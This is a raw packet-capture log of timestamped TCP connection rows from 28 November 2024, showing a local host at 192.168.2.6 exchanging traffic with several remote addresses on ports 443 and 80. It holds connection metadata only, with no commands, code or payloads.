Nov 28, 2024 15:17:57.278033972 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.278042078 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.293644905 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.293667078 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.300369024 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:57.325136900 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.340559006 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.340569019 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:57.340594053 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:57.393594980 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:57.412662029 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:57.454060078 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:57.501482964 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:57.549696922 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:57.641375065 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.641446114 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.641587973 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.645595074 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.645610094 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.647958994 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:57.647975922 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:57.648332119 CET	49848	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:57.648339033 CET	49888	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.648354053 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:57.648371935 CET	443	49888	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.648860931 CET	49888	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.649172068 CET	49888	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.649183035 CET	443	49888	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.753756046 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.753902912 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.754193068 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.754426003 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.754468918 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.754513025 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.754657984 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.806843996 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.806947947 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.807245970 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.807987928 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.808034897 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:58.021105051 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:58.021435022 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:58.021461010 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:58.021763086 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:58.022845984 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:58.022845984 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:58.022864103 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:58.022911072 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:58.075954914 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:58.107701063 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:58.107912064 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:58.109392881 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:58.109416008 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:58.109446049 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:58.109549046 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:58.476007938 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:58.476138115 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:58.476195097 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:58.479676962 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:58.479696989 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:58.511034012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.511074066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.511101961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.511135101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.512200117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.512242079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.512265921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.512275934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.512310028 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.512326002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.513639927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.513693094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.513710022 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.513722897 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.513732910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.513745070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.513777971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.514653921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.514705896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.631144047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.631197929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.631253958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.631298065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.635365009 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.635404110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.635427952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.635464907 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.713407040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.713450909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.713483095 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.713511944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.717590094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.717642069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.717706919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.717741013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.725956917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.726006031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.726109028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.726144075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.734396935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.734462023 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.734502077 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.734549046 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.742824078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.742882967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.742921114 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.742958069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.751230955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.751306057 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.751332045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.751367092 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.759665012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.759767056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.759820938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.759855986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.768085957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.768157005 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.768429995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.768481970 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.776457071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.776505947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.776628017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.776711941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.783984900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.784065008 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.784068108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.784102917 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.790977001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.791024923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.791054010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.791095972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.798166990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.798219919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.914629936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.914685011 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.914792061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.914848089 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.917051077 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.917155027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.917167902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.917186022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.922059059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.922111988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.922135115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.922168016 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.926799059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.926846027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.926918030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.926990986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.931773901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.931842089 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.931874037 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.931914091 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.936742067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.936796904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.936827898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.936894894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.941720963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.941764116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.941800117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.941924095 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.946693897 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.946733952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.946768045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.946845055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.951636076 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.951692104 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.951694012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.951725960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.956566095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.956631899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.956676006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.956749916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.961522102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.961565971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.961608887 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.961703062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.966502905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.966542959 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.966571093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.966671944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.971432924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.971477032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.971529007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.971581936 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.976408005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.976526976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.976552010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.976572990 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.981333017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.981380939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.981450081 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.981489897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.986438036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.986489058 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.986535072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.986613989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.991277933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.991324902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.991358995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.991398096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.996248007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.996303082 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:58.996459961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:58.996499062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.001184940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.001228094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.001303911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.001338005 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.006097078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.006154060 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.006232023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.006273031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.011130095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.011183023 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.011221886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.011265993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.016046047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.016115904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.016144991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.016182899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.021006107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.021075010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.115720987 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.115787983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.115901947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.116010904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.117645025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.117697001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.118386984 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.118432045 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.118505955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.118546963 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.122375011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.122425079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.122517109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.122565031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.126351118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.126436949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.126460075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.126501083 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.130234957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.130290031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.130332947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.130371094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.133985043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.134047031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.134139061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.134181976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.137609959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.137655020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.137721062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.137764931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.141251087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.141298056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.141344070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.141380072 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.144799948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.144905090 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.144957066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.144980907 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.148272038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.148371935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.148396015 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.148504019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.151999950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.152013063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.152085066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.155215025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.155311108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.155350924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.155570030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.158674002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.158791065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.158816099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.158904076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.162197113 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.162244081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.162329912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.162504911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.165643930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.165735006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.165760040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.165847063 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.169068098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.169173002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.169193983 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.169401884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.172560930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.172645092 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.172669888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.172840118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.176063061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.176142931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.176143885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.176199913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.179472923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.179599047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.179619074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.179718971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.182923079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.183017015 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.183051109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.183140993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.186400890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.186465979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.186487913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.188364983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.190059900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.190191031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.190215111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.190337896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.193320036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.193411112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.193447113 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.193547010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.199079990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.199093103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.199193001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.200444937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.200501919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.200606108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.200700998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.203820944 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.203984022 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.203996897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.204093933 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.207344055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.207509995 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.207510948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.207629919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.210872889 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.211039066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.211055994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.211148024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.214257956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.214342117 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.214401960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.214478016 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.217622995 CET	80	49887	185.215.113.16	192.168.2.6
